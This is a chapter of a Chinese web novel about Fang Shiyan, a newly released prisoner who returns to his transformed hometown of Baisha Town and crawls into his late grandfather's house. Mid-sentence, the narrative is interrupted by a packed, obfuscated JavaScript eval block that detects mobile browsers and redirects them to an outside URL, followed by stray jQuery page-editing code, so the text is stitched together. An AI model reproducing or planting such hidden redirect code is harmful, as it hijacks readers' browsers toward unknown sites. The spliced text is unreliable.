台风来临前的天空积蓄着厚重的黑云,还未散去的晚霞给它们染上不详的深紫色。呼呼作响的风吹打着小方杂货铺那块翘起一个角的招牌,拍打在墙壁上啪啪作响。
就在杂货铺五十米开外是一家城市监狱,往常狱门紧锁,偏偏今天奇怪,在角落悄悄开了一个小门。
“方十堰,出去好好做人。”
先是一只脚踏出那扇小门,接着是直筒裤都遮盖不了笔直修长的腿,让人不禁好奇这从牢房里放出来的犯人长啥样。
“谢谢警官,经过你们的教诲出去后我一定重新做人。”方十堰背对着小门,声音带着小心和谄媚对里边的人说道。
刚因为身材升起的一点好印象因为他谄媚的低头哈腰淡了去。
“走吧,走吧,以后多长个心眼,不要回头。”警帽压的低低的看不清狱警长什么样。
方十堰一边答应着一边后退,头低着肩膀习惯性的微弯,顺着这个角度能看到一抹小巧白皙的下巴和一双红润的嘴唇,就这两个部位就能看出这名刚出狱名为方十堰的劳改犯长相不错。
风越发大,杂货铺招牌上得钉子被吹掉一颗,砸在地上砸出一个浅坑。
那扇小门在方十堰脚刚踏出去就立刻关上,砰的一声砸在方十堰身后,吓得他浑身一哆嗦,差点回头看,又想起狱警说的不能回头,身体奇怪扭曲的呈现一个S型。
砰——风刮的越发大,头顶黑压压的乌云低的好似伸手就能够到。
方十堰戴着顶鸭舌帽,手里提着五年前入狱寄存的东西站在狂风中,茫然的看着周围陌生的景物不知该往何处去。
十年的牢狱之灾在他和社会之间好似划出一条界限分明的线。
朋友、爱人、同事……蒙上一层白蒙蒙的雾隔在记忆另一头,摸不到也碰不到。
【以后要是在外面混不下去,就回老家,爷爷在家等你。】
忽的一位留着白胡子慈眉善目的老头跳到方十堰记忆中,他想到了那个他一直希望逃离的地方。
——白沙镇。
那里鸟语花香,空气怡人,没有过多人工雕刻痕迹,看不见高楼大厦,闻不到车尾气,没有尔虞我诈,只有乡村邻里单纯的来往。
那个世人口中落后但鸟语花香空气宜人的地方,是他从小生长的故乡。
那时候他为什么想要离开?
方十堰不记得,但他现在找不到去处,哪儿是唯一的避难所。
好在之前陷害他的那两人被抓,之前被他们转移,被冻结的资产都回来,现在方十堰只要不肆无忌惮的挥霍,那他这辈子都不用为生活发愁。
飞机到不了白沙镇,许是前五年用尽所有霉运,在台风席卷前方十堰运气很好遇到退票的人,从他手里拿到最近一张回重江的高铁票,5个小时后,他坐上回白沙镇的乡村大巴。
车外艳阳高照高速马路畅通无阻,车内空调舒服,半点没有S市风雨欲来的阴沉恐怖。
直到坐在大巴上听到耳边熟悉的乡音那一刻,方十堰紧绷的神经才得以放松。
裤兜里的手机膈得不舒服,方十堰掏出手机,看着被保护的很好,亮堂堂的手机壳,五年前放出这款手机时,文磊送给他的情侣款,可惜还没怎么用他就被陷害蹲大牢去了,刚买的最新款成了旧款。
游戏里的打斗声不断从旁边传来,方十堰偷偷的瞥了一眼坐在他旁边的男生,手里拿着的正是同款,不过他的应该是最新款,手机屏幕大了不止一倍。
超大屏,广角,拍照超清晰……
回想起当时他和文磊手牵手听销售员介绍时的亲密,那曾想到现在……真是世事人非。
方十堰收回眼神,现在的生活是十年前的他绝对料想不到的模样。
所以十年前的他是什么样子来着?
方十堰的睫毛轻而慢的眨了眨,他忘了,似乎生来就是这幅谄媚、卑微。
他的身体弓的更厉害,额头快贴在前面的座椅上。
车子轻轻摇晃,迷迷糊糊他闭上眼睡着了。
四周一片漆黑,伸手不见五指。方十堰听到有谁在叫他。
“过来,来,方十堰,我在这儿等你……”
谁?谁在等他?
方十堰眼皮下眼珠剧烈滚动,他想抓住这个声音。
突然!
“白沙镇修路不停车,有要下车的提前喊一声。”售票员半跪在座位,安全带插在插销里支着身体朝后面喊了一嗓子。
方十堰猛的睁眼,心脏激烈跳动着,仿佛要从喉咙眼蹦出去。
他扣着手机的手指紧了紧,他不是第一次做这个梦。
有时他站在一栋红房子前,有时他坐在一个院子里……
售票员提醒的声音不断响起,方十堰来不及多想,条件反射的想打报告,下一秒意识自己已经出狱,赶紧咬住嘴唇。
他不能让别人知道他坐过牢,白沙镇小一眨眼功夫就能传遍整个镇子。
“前面刹一脚。”
还好要下车的不止方十堰一个人,他松了口气,紧握着手机的手也松开。
“麻烦让让,我要下车。”方十堰低声说,坐在他旁边的男生瞟了一眼方十堰,身体侧了侧。
方十堰下意识把帽子压低,苟着身子就着狭小的缝隙挤出去。
“咳咳咳。”车尾气带着飞扬的尘土把方十堰留在白沙镇。
晚春初夏,正是一片好天气,蜜蜂围着蝴蝶转,草叶绿的像最美的宝石,远远望去半山腰还缠着一片薄薄的云雾。
看着眼前熟悉的风景方十堰紧张的心忽的安定下来,鼻翼快速动了两下,清新的空气中弥漫的一股泥土的味道。
还是小时候的气息,真好。
“喂!帅哥,别挡在前面,小心压路车压着你。”高处传来提醒。
方十堰呆了两秒然后转身看去,眼前风光宜人的景色瞬间变了模样。
身后竟是一片耸立的高楼大厦,乍一眼看去方十堰有种回到S市的感觉。
“喂!”
见方十堰站着不动,开压路车的司机踩下刹车探出头冲他怒吼一声。
“要死死远点!别挡着我下班!”
那声音比压路车工作的声音还要响,把方十堰吓得一哆嗦。
“不,不好意思,我这就让开。”方十堰声音又轻又小,连连往后退,退到马路边上一脚踩空差点摔下去。
那司机坐的高高的觑了一眼狼狈站稳低头含胸的方十堰,嘴里叼着根草嗤了一声开着压路车轰隆隆往前走远。
记忆里落后破败的白沙镇怎么变成这样,方十堰藏在衣服下那颗心脏扑通扑通躁动不安。
那他坐牢的消息会不会已经有人知道?
方十堰把帽子又往下压了压,手里提着的袋子紧了又紧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422838|184795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细细的绳子勒得他手心发红。
顺着压路机的反方向一路往前走,越走方十堰心里越惊讶。
记忆里泥泞的泥巴路变成干净整齐的柏油马路,荒芜的草地现在修建出一座座商铺大楼,虽不说有多少人,但最起码不是他记忆里那小小的镇子。
马路两旁每隔五十米就有一盏高大的路灯,现在是白天看不出,但不难想到夜幕降临时白沙镇依旧会是一片光亮。
手里提着的包被方十堰抱在怀里,不是害怕那点东西被抢走,而是只有抱着点什么东西,方十堰才能安心。
这里变化这么快,爷爷留下的土房子还在吗?会不会已经被推平?
方十堰坐牢的第三年,收到一封信,信里说爷爷身体不大好,怕是等不到他回家,但老家的房子他做主留给方十堰,等他回来有个去的地方。
那一年方十堰骨头还硬着,看到那封信后,他的骨头软了、弯了。
他第一次后悔如果自己不那么自傲、听不进劝告,是不是就不会错过爷爷的最后一面。
“滴——”汽车鸣笛呼啸而过。
“1……17……”方十堰蹲在马路边数着过往车辆。
马路对面坐落着一栋小房子,红色房顶两层楼农村最常见的砖瓦房,方十堰还记得它刚修好时多么气派。
如果是以前的白沙镇,这样的房子已经算得上豪宅,但放在现在的白沙镇,它看起来有些破、有些旧,还有些格格不入。
两边是十层楼往上的楼房,距离不近但衬得红房子小巧可爱。
方十堰从包里摸出一张发黄的信纸,再三对了几遍,没错就是这儿。
他捏紧拳头给自己打了打气,没别的地方可以去,只有这里能收留他。
避开汽车穿过马路,方十堰站在红房子前,远看不觉得,站在面前才发现红房子一点都不小。
和他梦里一样的红房子,方十堰心脏快速起伏。
他从信封里掏出钥匙,对准钥匙孔,又收回手在裤腿上擦了一把。
像小时候一样把往右拧。
……
钥匙纹丝不动。
这是怎么回事?
方十堰把钥匙拿出来又放进去,还是拧不动。
他又掏出信封,对着地址看了一遍,地址没错。
往后退一步,右下角被爬山虎遮住的砖头上写着“总有一天老子要离开这里……”后边几个字在风吹日晒下发白看不清。
但方十堰知道是:“总有一天老子要离开这里变成人上人。”
这句话是他写的,那年春风得意,他靠写剧本赚了第一桶金。
地址没错,房子没错,难不成钥匙出错?
几次挫败方十堰心里憋了一团火,家就在眼前,他还能被钥匙挡在外边?!
方十堰小心的把钥匙收好,小小的包绕了又叠藏在怀里,然后绕着房子转了一圈,掀开茂密的爬山虎,果然看到一个洞。
方十堰嘴角久违的露出一抹得意的笑。
他就记得这里有个狗洞,小时候每次惹爷爷生气他都是靠这个狗洞逃过一劫。
不知该庆幸还是难过,在牢里吃不到什么好的,方十堰瘦瘦的身材轻松的便从狗洞钻出来。
只是刚一露头,便和一双眼睛对视上。
“你是谁?!”那人戴着副眼镜,头上顶着块毛巾似乎刚洗好澡。